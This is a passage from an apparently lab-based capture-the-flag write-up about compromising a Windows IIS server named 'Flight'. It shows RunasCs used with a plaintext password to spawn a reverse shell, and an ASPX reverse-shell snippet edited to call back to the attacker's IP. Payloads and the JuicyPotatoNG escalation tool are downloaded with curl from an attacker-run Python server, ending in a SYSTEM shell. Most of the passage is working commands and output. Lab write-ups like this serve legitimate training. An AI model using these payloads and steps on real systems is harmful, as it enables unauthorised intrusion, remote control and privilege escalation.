<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697915649411/25b5c7f4-cca2-401d-b334-99d956d2b65d.png" alt class="image--center mx-auto" /></p>
<p>  checking the response header and using whatweb we see that the website is hosted by IIS...</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697916261506/cce3810c-1a55-423f-9e86-836572a1d6f2.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css">  <span class="hljs-selector-tag">curl</span> <span class="hljs-selector-tag">-I</span> <span class="hljs-selector-tag">http</span>://127<span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.1</span><span class="hljs-selector-pseudo">:7777</span>
  <span class="hljs-selector-tag">HTTP</span>/1<span class="hljs-selector-class">.1</span> 200 <span class="hljs-selector-tag">OK</span>
  <span class="hljs-selector-tag">Content-Length</span>: 45949
  <span class="hljs-selector-tag">Content-Type</span>: <span class="hljs-selector-tag">text</span>/<span class="hljs-selector-tag">html</span>
  <span class="hljs-selector-tag">Last-Modified</span>: <span class="hljs-selector-tag">Mon</span>, 16 <span class="hljs-selector-tag">Apr</span> 2018 21<span class="hljs-selector-pseudo">:23</span><span class="hljs-selector-pseudo">:36</span> <span class="hljs-selector-tag">GMT</span>
  <span class="hljs-selector-tag">Accept-Ranges</span>: <span class="hljs-selector-tag">bytes</span>
  <span class="hljs-selector-tag">ETag</span>: "03<span class="hljs-selector-tag">cf42dc9d5d31</span><span class="hljs-selector-pseudo">:0"</span>
  <span class="hljs-selector-tag">Server</span>: <span class="hljs-selector-tag">Microsoft-IIS</span>/10<span class="hljs-selector-class">.0</span>
  <span class="hljs-selector-tag">X-Powered-By</span>: <span class="hljs-selector-tag">ASP</span><span class="hljs-selector-class">.NET</span>
  <span class="hljs-selector-tag">Date</span>: <span class="hljs-selector-tag">Sun</span>, 22 <span class="hljs-selector-tag">Oct</span> 2023 02<span class="hljs-selector-pseudo">:20</span><span class="hljs-selector-pseudo">:09</span> <span class="hljs-selector-tag">GMT</span>

  <span class="hljs-selector-tag">whatweb</span> <span class="hljs-selector-tag">http</span>://127<span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.1</span><span class="hljs-selector-pseudo">:7777</span>                                                             
  <span class="hljs-selector-tag">http</span>://127<span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.1</span><span class="hljs-selector-pseudo">:7777</span> <span class="hljs-selector-attr">[200 OK]</span> <span class="hljs-selector-tag">Bootstrap</span>, <span class="hljs-selector-tag">Country</span><span class="hljs-selector-attr">[RESERVED]</span><span class="hljs-selector-attr">[ZZ]</span>, <span class="hljs-selector-tag">Frame</span>, <span class="hljs-selector-tag">Google-API</span><span class="hljs-selector-attr">[ajax/libs/jquery/1.10.2/jquery.min.js]</span>, <span class="hljs-selector-tag">HTML5</span>, <span class="hljs-selector-tag">HTTPServer</span><span class="hljs-selector-attr">[Microsoft-IIS/10.0]</span>, <span class="hljs-selector-tag">IP</span><span class="hljs-selector-attr">[127.0.0.1]</span>, <span class="hljs-selector-tag">JQuery</span><span class="hljs-selector-attr">[1.10.2,1.11.2]</span>, <span class="hljs-selector-tag">Microsoft-IIS</span><span class="hljs-selector-attr">[10.0]</span>, <span class="hljs-selector-tag">Modernizr</span><span class="hljs-selector-attr">[2.8.3-respond-1.4.2.min]</span>, <span class="hljs-selector-tag">Script</span><span class="hljs-selector-attr">[text/javascript]</span>, <span class="hljs-selector-tag">Title</span><span class="hljs-selector-attr">[Flight - Travel and Tour]</span>, <span class="hljs-selector-tag">X-Powered-By</span><span class="hljs-selector-attr">[ASP.NET]</span>, <span class="hljs-selector-tag">X-UA-Compatible</span><span class="hljs-selector-attr">[IE=edge]</span>, <span class="hljs-selector-tag">YouTube</span>
</code></pre>
<p>  since we have information that this is an IIS server we can try and upload an ASPX reverse shell on the <code>C:\inetpub\development</code> path, since there is a netcat session already that is running as the user <code>c.bum</code> and has Chisel connected to it... we will open another netcat listener to listen on <code>port 4442</code> and use RunasCs to connect through <code>port 4442</code>.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697918797893/613638e2-cd6f-4666-a608-ebc129335f99.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css">  <span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">windows</span>\<span class="hljs-selector-tag">temp</span>\<span class="hljs-selector-tag">privesc</span>&gt; .\<span class="hljs-selector-tag">RunasCs</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">c</span><span class="hljs-selector-class">.bum</span> <span class="hljs-selector-tag">Tikkycoll_431012284</span> <span class="hljs-selector-tag">powershell</span> <span class="hljs-selector-tag">-r</span> 10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:4442</span>
  <span class="hljs-selector-attr">[*]</span> <span class="hljs-selector-tag">Warning</span>: <span class="hljs-selector-tag">Using</span> <span class="hljs-selector-tag">function</span> <span class="hljs-selector-tag">CreateProcessWithLogonW</span> <span class="hljs-selector-tag">is</span> <span class="hljs-selector-tag">not</span> <span class="hljs-selector-tag">compatible</span> <span class="hljs-selector-tag">with</span> <span class="hljs-selector-tag">logon</span> <span class="hljs-selector-tag">type</span> 8. <span class="hljs-selector-tag">Reverting</span> <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">logon</span> <span class="hljs-selector-tag">type</span> <span class="hljs-selector-tag">Interactive</span> (2)...
  <span class="hljs-selector-attr">[+]</span> <span class="hljs-selector-tag">Running</span> <span class="hljs-selector-tag">in</span> <span class="hljs-selector-tag">session</span> 0 <span class="hljs-selector-tag">with</span> <span class="hljs-selector-tag">process</span> <span class="hljs-selector-tag">function</span> <span class="hljs-selector-tag">CreateProcessWithLogonW</span>()
  <span class="hljs-selector-attr">[+]</span> <span class="hljs-selector-tag">Using</span> <span class="hljs-selector-tag">Station</span>\<span class="hljs-selector-tag">Desktop</span>: <span class="hljs-selector-tag">Service-0x0-79dea</span>$\<span class="hljs-selector-tag">Default</span>
  <span class="hljs-selector-attr">[+]</span> <span class="hljs-selector-tag">Async</span> <span class="hljs-selector-tag">process</span> '<span class="hljs-selector-tag">powershell</span>' <span class="hljs-selector-tag">with</span> <span class="hljs-selector-tag">pid</span> 5960 <span class="hljs-selector-tag">created</span> <span class="hljs-selector-tag">and</span> <span class="hljs-selector-tag">left</span> <span class="hljs-selector-tag">in</span> <span class="hljs-selector-tag">background</span>.
  <span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">windows</span>\<span class="hljs-selector-tag">temp</span>\<span class="hljs-selector-tag">privesc</span>&gt;
</code></pre>
<p>  and the netcat shell:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697918856081/6d1ac637-d3e4-40b8-ac96-62eb1c77c93a.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css">   <span class="hljs-selector-tag">rlwrap</span> <span class="hljs-selector-tag">ncat</span> <span class="hljs-selector-tag">-lvnp</span> 4442
  <span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Version</span> 7<span class="hljs-selector-class">.94</span> ( <span class="hljs-selector-tag">https</span>://<span class="hljs-selector-tag">nmap</span><span class="hljs-selector-class">.org</span>/<span class="hljs-selector-tag">ncat</span> )
  <span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">on</span> <span class="hljs-selector-attr">[::]</span><span class="hljs-selector-pseudo">:4442</span>
  <span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">on</span> 0<span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-pseudo">:4442</span>
  <span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Connection</span> <span class="hljs-selector-tag">from</span> 10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.250</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:49436.</span>
  <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">PowerShell</span> 
  <span class="hljs-selector-tag">Copyright</span> (<span class="hljs-selector-tag">C</span>) <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Corporation</span>. <span class="hljs-selector-tag">All</span> <span class="hljs-selector-tag">rights</span> <span class="hljs-selector-tag">reserved</span>.
</code></pre>
<p>  now with this shell, we can go to the <code>c:/inetpub/development</code> and upload our</p>
<p>  <a target="_blank" href="https://raw.githubusercontent.com/Karmaz95/evasion/main/shell.aspx">ASPX rev shell</a> but before that we make sure to modify the rev shell to include our IP and port where it's gonna call back:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697919237656/bcb7d975-4694-4be8-9f71-59bb35c55012.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css">  &lt;%@ Page Language=<span class="hljs-string">"C#"</span> %&gt;
  &lt;%@ Import Namespace=<span class="hljs-string">"System.Runtime.InteropServices"</span> %&gt;
  &lt;%@ Import Namespace=<span class="hljs-string">"System.Net"</span> %&gt;
  &lt;%@ Import Namespace=<span class="hljs-string">"System.Net.Sockets"</span> %&gt;
  &lt;%@ Import Namespace=<span class="hljs-string">"System.Security.Principal"</span> %&gt;
  &lt;%@ Import Namespace=<span class="hljs-string">"System.Data.SqlClient"</span> %&gt;
  &lt;script runat=<span class="hljs-string">"server"</span>&gt;
  //Original shell <span class="hljs-attribute">post:</span> <span class="hljs-attribute">https:</span>//www.darknet.org.uk/<span class="hljs-number">2014</span>/<span class="hljs-number">12</span>/insomniashell-asp-net-reverse-shell-bind-shell/
  //Download <span class="hljs-attribute">link:</span> <span class="hljs-attribute">https:</span>//www.darknet.org.uk/content/files/InsomniaShell.zip

      protected void Page_Load(object sender, EventArgs e)
      {
          <span class="hljs-selector-tag">String</span> <span class="hljs-selector-tag">host</span> = "10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span>"; //<span class="hljs-selector-tag">CHANGE</span> <span class="hljs-selector-tag">THIS</span>
              <span class="hljs-selector-tag">int</span> <span class="hljs-selector-tag">port</span> = 4441; ////<span class="hljs-selector-tag">CHANGE</span> <span class="hljs-selector-tag">THIS</span>

          <span class="hljs-selector-tag">CallbackShell</span>(<span class="hljs-selector-tag">host</span>, <span class="hljs-selector-tag">port</span>);
      }
</code></pre>
<p>  In the section where it says CHANGE THIS, I made sure to modify it and add my IP address together with the port I will be listening to.</p>
<p>  After that, I make sure to start a Netcat listener on the <code>port 4441</code></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697919568412/09ff20cf-0d38-430a-bb3a-6590d77abd7d.png" alt class="image--center mx-auto" /></p>
<p>  From there I started a simple Python server to host my shell.aspx(I named my shell.aspx to meme.aspx) then using curl I downloaded it onto the machine in the <code>c:/inetpub/development</code> directory as the user <code>c.bum</code></p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697919845078/52fa40d1-9f77-4bea-9ba0-b66bf81993fa.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">inetpub</span>\<span class="hljs-selector-tag">development</span>&gt; <span class="hljs-selector-tag">curl</span> <span class="hljs-selector-tag">http</span>://10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:8080</span>/<span class="hljs-selector-tag">meme</span><span class="hljs-selector-class">.aspx</span> <span class="hljs-selector-tag">-o</span> <span class="hljs-selector-tag">meme</span><span class="hljs-selector-class">.aspx</span>
<span class="hljs-selector-tag">curl</span> <span class="hljs-selector-tag">http</span>://10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:8080</span>/<span class="hljs-selector-tag">meme</span><span class="hljs-selector-class">.aspx</span> <span class="hljs-selector-tag">-o</span> <span class="hljs-selector-tag">meme</span><span class="hljs-selector-class">.aspx</span>
<span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">inetpub</span>\<span class="hljs-selector-tag">development</span>&gt; <span class="hljs-selector-tag">dir</span>
<span class="hljs-selector-tag">dir</span>


    <span class="hljs-selector-tag">Directory</span>: <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">inetpub</span>\<span class="hljs-selector-tag">development</span>


<span class="hljs-selector-tag">Mode</span>                <span class="hljs-selector-tag">LastWriteTime</span>         <span class="hljs-selector-tag">Length</span> <span class="hljs-selector-tag">Name</span>                                                                  
<span class="hljs-selector-tag">----</span>                <span class="hljs-selector-tag">-------------</span>         <span class="hljs-selector-tag">------</span> <span class="hljs-selector-tag">----</span>                                                                  
<span class="hljs-selector-tag">d-----</span>       10/21/2023   7<span class="hljs-selector-pseudo">:57</span> <span class="hljs-selector-tag">PM</span>                <span class="hljs-selector-tag">css</span>                                                                   
<span class="hljs-selector-tag">d-----</span>       10/21/2023   7<span class="hljs-selector-pseudo">:57</span> <span class="hljs-selector-tag">PM</span>                <span class="hljs-selector-tag">fonts</span>                                                                 
<span class="hljs-selector-tag">d-----</span>       10/21/2023   7<span class="hljs-selector-pseudo">:57</span> <span class="hljs-selector-tag">PM</span>                <span class="hljs-selector-tag">img</span>                                                                   
<span class="hljs-selector-tag">d-----</span>       10/21/2023   7<span class="hljs-selector-pseudo">:57</span> <span class="hljs-selector-tag">PM</span>                <span class="hljs-selector-tag">js</span>                                                                    
<span class="hljs-selector-tag">-a----</span>        4/16/2018   2<span class="hljs-selector-pseudo">:23</span> <span class="hljs-selector-tag">PM</span>           9371 <span class="hljs-selector-tag">contact</span><span class="hljs-selector-class">.html</span>                                                          
<span class="hljs-selector-tag">-a----</span>        4/16/2018   2<span class="hljs-selector-pseudo">:23</span> <span class="hljs-selector-tag">PM</span>          45949 <span class="hljs-selector-tag">index</span><span class="hljs-selector-class">.html</span>                                                            
<span class="hljs-selector-tag">-a----</span>       10/21/2023   7<span class="hljs-selector-pseudo">:57</span> <span class="hljs-selector-tag">PM</span>          15973 <span class="hljs-selector-tag">meme</span><span class="hljs-selector-class">.aspx</span>
</code></pre>
<p>it gets executed when we visit the webpage <code>http:127.0.0.1:7777/meme.aspx</code> and we get a shell back. On visiting the page we get a blank page but when we check our terminal we see that we have gotten a shell.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697920141371/4ebbaff9-5f0d-4daf-953b-b5a20d080296.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">http</span>://127<span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.1</span><span class="hljs-selector-pseudo">:7777</span>/<span class="hljs-selector-tag">meme</span><span class="hljs-selector-class">.aspx</span>
</code></pre>
<p>we get the shell as:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697920200452/85897b93-bc48-4e79-8278-ceb0ffd63586.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"> <span class="hljs-selector-tag">rlwrap</span> <span class="hljs-selector-tag">ncat</span> <span class="hljs-selector-tag">-lvnp</span> 4441
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Version</span> 7<span class="hljs-selector-class">.94</span> ( <span class="hljs-selector-tag">https</span>://<span class="hljs-selector-tag">nmap</span><span class="hljs-selector-class">.org</span>/<span class="hljs-selector-tag">ncat</span> )
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">on</span> <span class="hljs-selector-attr">[::]</span><span class="hljs-selector-pseudo">:4441</span>
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">on</span> 0<span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-pseudo">:4441</span>
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Connection</span> <span class="hljs-selector-tag">from</span> 10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.250</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:49477.</span>
<span class="hljs-selector-tag">Spawn</span> <span class="hljs-selector-tag">Shell</span>...
<span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-attr">[Version 10.0.17763.2989]</span>
(<span class="hljs-selector-tag">c</span>) 2018 <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Corporation</span>. <span class="hljs-selector-tag">All</span> <span class="hljs-selector-tag">rights</span> <span class="hljs-selector-tag">reserved</span>.

<span class="hljs-selector-tag">c</span>:\<span class="hljs-selector-tag">windows</span>\<span class="hljs-selector-tag">system32</span>\<span class="hljs-selector-tag">inetsrv</span>&gt;<span class="hljs-selector-tag">whoami</span>
<span class="hljs-selector-tag">whoami</span>
<span class="hljs-selector-tag">iis</span> <span class="hljs-selector-tag">apppool</span>\<span class="hljs-selector-tag">defaultapppool</span>

<span class="hljs-selector-tag">c</span>:\<span class="hljs-selector-tag">windows</span>\<span class="hljs-selector-tag">system32</span>\<span class="hljs-selector-tag">inetsrv</span>&gt;
</code></pre>
<h3 id="heading-administrator"><strong>Administrator</strong></h3>
<p>when enumerating the machine we see that we have the following privileges</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697920888624/34c25744-ae94-4639-886d-b53638c3ca0b.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">c</span>:\<span class="hljs-selector-tag">windows</span>\<span class="hljs-selector-tag">system32</span>\<span class="hljs-selector-tag">inetsrv</span>&gt;<span class="hljs-selector-tag">whoami</span> /<span class="hljs-selector-tag">priv</span>
<span class="hljs-selector-tag">whoami</span> /<span class="hljs-selector-tag">priv</span>

<span class="hljs-selector-tag">PRIVILEGES</span> <span class="hljs-selector-tag">INFORMATION</span>
<span class="hljs-selector-tag">----------------------</span>

<span class="hljs-selector-tag">Privilege</span> <span class="hljs-selector-tag">Name</span>                <span class="hljs-selector-tag">Description</span>                               <span class="hljs-selector-tag">State</span>   
============================= ========================================= ========
<span class="hljs-selector-tag">SeAssignPrimaryTokenPrivilege</span> <span class="hljs-selector-tag">Replace</span> <span class="hljs-selector-tag">a</span> <span class="hljs-selector-tag">process</span> <span class="hljs-selector-tag">level</span> <span class="hljs-selector-tag">token</span>             <span class="hljs-selector-tag">Disabled</span>
<span class="hljs-selector-tag">SeIncreaseQuotaPrivilege</span>      <span class="hljs-selector-tag">Adjust</span> <span class="hljs-selector-tag">memory</span> <span class="hljs-selector-tag">quotas</span> <span class="hljs-selector-tag">for</span> <span class="hljs-selector-tag">a</span> <span class="hljs-selector-tag">process</span>        <span class="hljs-selector-tag">Disabled</span>
<span class="hljs-selector-tag">SeMachineAccountPrivilege</span>     <span class="hljs-selector-tag">Add</span> <span class="hljs-selector-tag">workstations</span> <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">domain</span>                <span class="hljs-selector-tag">Disabled</span>
<span class="hljs-selector-tag">SeAuditPrivilege</span>              <span class="hljs-selector-tag">Generate</span> <span class="hljs-selector-tag">security</span> <span class="hljs-selector-tag">audits</span>                  <span class="hljs-selector-tag">Disabled</span>
<span class="hljs-selector-tag">SeChangeNotifyPrivilege</span>       <span class="hljs-selector-tag">Bypass</span> <span class="hljs-selector-tag">traverse</span> <span class="hljs-selector-tag">checking</span>                  <span class="hljs-selector-tag">Enabled</span> 
<span class="hljs-selector-tag">SeImpersonatePrivilege</span>        <span class="hljs-selector-tag">Impersonate</span> <span class="hljs-selector-tag">a</span> <span class="hljs-selector-tag">client</span> <span class="hljs-selector-tag">after</span> <span class="hljs-selector-tag">authentication</span> <span class="hljs-selector-tag">Enabled</span> 
<span class="hljs-selector-tag">SeCreateGlobalPrivilege</span>       <span class="hljs-selector-tag">Create</span> <span class="hljs-selector-tag">global</span> <span class="hljs-selector-tag">objects</span>                     <span class="hljs-selector-tag">Enabled</span> 
<span class="hljs-selector-tag">SeIncreaseWorkingSetPrivilege</span> <span class="hljs-selector-tag">Increase</span> <span class="hljs-selector-tag">a</span> <span class="hljs-selector-tag">process</span> <span class="hljs-selector-tag">working</span> <span class="hljs-selector-tag">set</span>            <span class="hljs-selector-tag">Disabled</span>
</code></pre>
<p>From the list of privileges two privileges catch our eye and that is <code>SeImpersonatePrivilege</code> and <code>SeCreateGlobalPrivilege</code>. We can escalate our privileges through token impersonation to exploit certain Windows vulnerabilities and attempt privilege escalation.</p>
<p>Using a tool called Juicy Potato we can leverage this.JuicyPotato specifically targets the COM Elevation of Privilege vulnerability, which allows an attacker to manipulate access tokens and impersonate a user with higher privileges.</p>
<p>The COM (Component Object Model) Elevation of Privilege vulnerability is a security issue in Windows systems that allows an attacker to exploit the way Windows handles COM objects to escalate their privileges on the system. COM objects are a fundamental part of Windows used for interprocess communication and component-based software development.</p>
<p>The vulnerability typically involves manipulating the COM object handling process to create or modify access tokens, which define a user's rights and privileges. By manipulating these access tokens, an attacker can impersonate a user with higher privileges, such as an administrator or a SYSTEM account. This allows the attacker to gain elevated access to resources and processes on the system that are typically restricted to higher-privileged users.</p>
<p>In order for us to exploit this we will need <a target="_blank" href="https://github.com/antonioCoco/JuicyPotatoNG">juicy potato</a> binary on the machine... so we will create a simple Python server and then upload the binary onto the machine ..</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697928452808/2e978df7-71e1-44e1-b19d-3fe62c1e746e.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">python3</span> <span class="hljs-selector-tag">-m</span> <span class="hljs-selector-tag">http</span><span class="hljs-selector-class">.server</span> 8080
<span class="hljs-selector-tag">Serving</span> <span class="hljs-selector-tag">HTTP</span> <span class="hljs-selector-tag">on</span> 0<span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span> <span class="hljs-selector-tag">port</span> 8080 (<span class="hljs-selector-tag">http</span>://0<span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-pseudo">:8080</span>/) ...
10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.250</span><span class="hljs-selector-class">.20</span> <span class="hljs-selector-tag">-</span> <span class="hljs-selector-tag">-</span> <span class="hljs-selector-attr">[22/Oct/2023 01:47:00]</span> "<span class="hljs-selector-tag">GET</span> /<span class="hljs-selector-tag">JuicyPotatoNG</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">HTTP</span>/1<span class="hljs-selector-class">.1</span>" 200 <span class="hljs-selector-tag">-</span>
</code></pre>
<p>using curl on the victim's pc to upload...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697928539637/903f2f6d-cd42-404a-a4a5-ac80016d4392.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">c</span>:\<span class="hljs-selector-tag">Windows</span>\<span class="hljs-selector-tag">Temp</span>\<span class="hljs-selector-tag">privesc</span>&gt;<span class="hljs-selector-tag">curl</span> <span class="hljs-selector-tag">http</span>://10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:8080</span>/<span class="hljs-selector-tag">JuicyPotatoNG</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-o</span> <span class="hljs-selector-tag">JuicyPotatoNG</span><span class="hljs-selector-class">.exe</span>
                        <span class="hljs-selector-tag">curl</span> <span class="hljs-selector-tag">http</span>://10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:8080</span>/<span class="hljs-selector-tag">JuicyPotatoNG</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-o</span> <span class="hljs-selector-tag">JuicyPotatoNG</span><span class="hljs-selector-class">.exe</span>
<span class="hljs-selector-tag">curl</span> <span class="hljs-selector-tag">http</span>://10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:8080</span>/<span class="hljs-selector-tag">JuicyPotatoNG</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-o</span> <span class="hljs-selector-tag">JuicyPotatoNG</span><span class="hljs-selector-class">.exe</span>
  % <span class="hljs-selector-tag">Total</span>    % <span class="hljs-selector-tag">Received</span> % <span class="hljs-selector-tag">Xferd</span>  <span class="hljs-selector-tag">Average</span> <span class="hljs-selector-tag">Speed</span>   <span class="hljs-selector-tag">Time</span>    <span class="hljs-selector-tag">Time</span>     <span class="hljs-selector-tag">Time</span>  <span class="hljs-selector-tag">Current</span>
                                 <span class="hljs-selector-tag">Dload</span>  <span class="hljs-selector-tag">Upload</span>   <span class="hljs-selector-tag">Total</span>   <span class="hljs-selector-tag">Spent</span>    <span class="hljs-selector-tag">Left</span>  <span class="hljs-selector-tag">Speed</span>
100  150<span class="hljs-selector-tag">k</span>  100  150<span class="hljs-selector-tag">k</span>    0     0  44247      0  0<span class="hljs-selector-pseudo">:00</span><span class="hljs-selector-pseudo">:03</span>  0<span class="hljs-selector-pseudo">:00</span><span class="hljs-selector-pseudo">:03</span> <span class="hljs-selector-tag">--</span><span class="hljs-selector-pseudo">:--</span><span class="hljs-selector-pseudo">:--</span> 44252

<span class="hljs-selector-tag">c</span>:\<span class="hljs-selector-tag">Windows</span>\<span class="hljs-selector-tag">Temp</span>\<span class="hljs-selector-tag">privesc</span>&gt;
</code></pre>
<p>after uploading using the command we make it so that all users can read, write, and execute the file with unrestricted access. we do this by...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697928714706/bee8ac6c-a0cf-453e-bb6a-e93d35d96903.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">c</span>:\<span class="hljs-selector-tag">Windows</span>\<span class="hljs-selector-tag">Temp</span>\<span class="hljs-selector-tag">privesc</span>&gt;<span class="hljs-selector-tag">icacls</span> <span class="hljs-selector-tag">JuicyPotatoNG</span><span class="hljs-selector-class">.exe</span> /<span class="hljs-selector-tag">grant</span> <span class="hljs-selector-tag">Users</span><span class="hljs-selector-pseudo">:F</span>
                        <span class="hljs-selector-tag">icacls</span> <span class="hljs-selector-tag">JuicyPotatoNG</span><span class="hljs-selector-class">.exe</span> /<span class="hljs-selector-tag">grant</span> <span class="hljs-selector-tag">Users</span><span class="hljs-selector-pseudo">:F</span>
<span class="hljs-selector-tag">icacls</span> <span class="hljs-selector-tag">JuicyPotatoNG</span><span class="hljs-selector-class">.exe</span> /<span class="hljs-selector-tag">grant</span> <span class="hljs-selector-tag">Users</span><span class="hljs-selector-pseudo">:F</span>
<span class="hljs-selector-tag">processed</span> <span class="hljs-selector-tag">file</span>: <span class="hljs-selector-tag">JuicyPotatoNG</span><span class="hljs-selector-class">.exe</span>
<span class="hljs-selector-tag">Successfully</span> <span class="hljs-selector-tag">processed</span> 1 <span class="hljs-selector-tag">files</span>; <span class="hljs-selector-tag">Failed</span> <span class="hljs-selector-tag">processing</span> 0 <span class="hljs-selector-tag">files</span>
</code></pre>
<p>This enables all the users to read, write, and execute the file with unrestricted access.</p>
<p>Now we will execute Juicy potato so that we can escalate privileges and compromise the machine as <code>nt authority\system</code> .</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697928975870/f5c447dc-78cf-4911-bc78-365da417727a.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">c</span>:\<span class="hljs-selector-tag">Windows</span>\<span class="hljs-selector-tag">Temp</span>\<span class="hljs-selector-tag">privesc</span>&gt;<span class="hljs-selector-tag">JuicyPotatoNG</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-t</span> * <span class="hljs-selector-tag">-p</span> "<span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Windows</span>\<span class="hljs-selector-tag">System32</span>\<span class="hljs-selector-tag">cmd</span><span class="hljs-selector-class">.exe</span>" <span class="hljs-selector-tag">-i</span>
                        <span class="hljs-selector-tag">JuicyPotatoNG</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-t</span> * <span class="hljs-selector-tag">-p</span> "<span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Windows</span>\<span class="hljs-selector-tag">System32</span>\<span class="hljs-selector-tag">cmd</span><span class="hljs-selector-class">.exe</span>" <span class="hljs-selector-tag">-i</span>
<span class="hljs-selector-tag">JuicyPotatoNG</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-t</span> * <span class="hljs-selector-tag">-p</span> "<span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Windows</span>\<span class="hljs-selector-tag">System32</span>\<span class="hljs-selector-tag">cmd</span><span class="hljs-selector-class">.exe</span>" <span class="hljs-selector-tag">-i</span>
<span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-attr">[Version 10.0.17763.2989]</span>
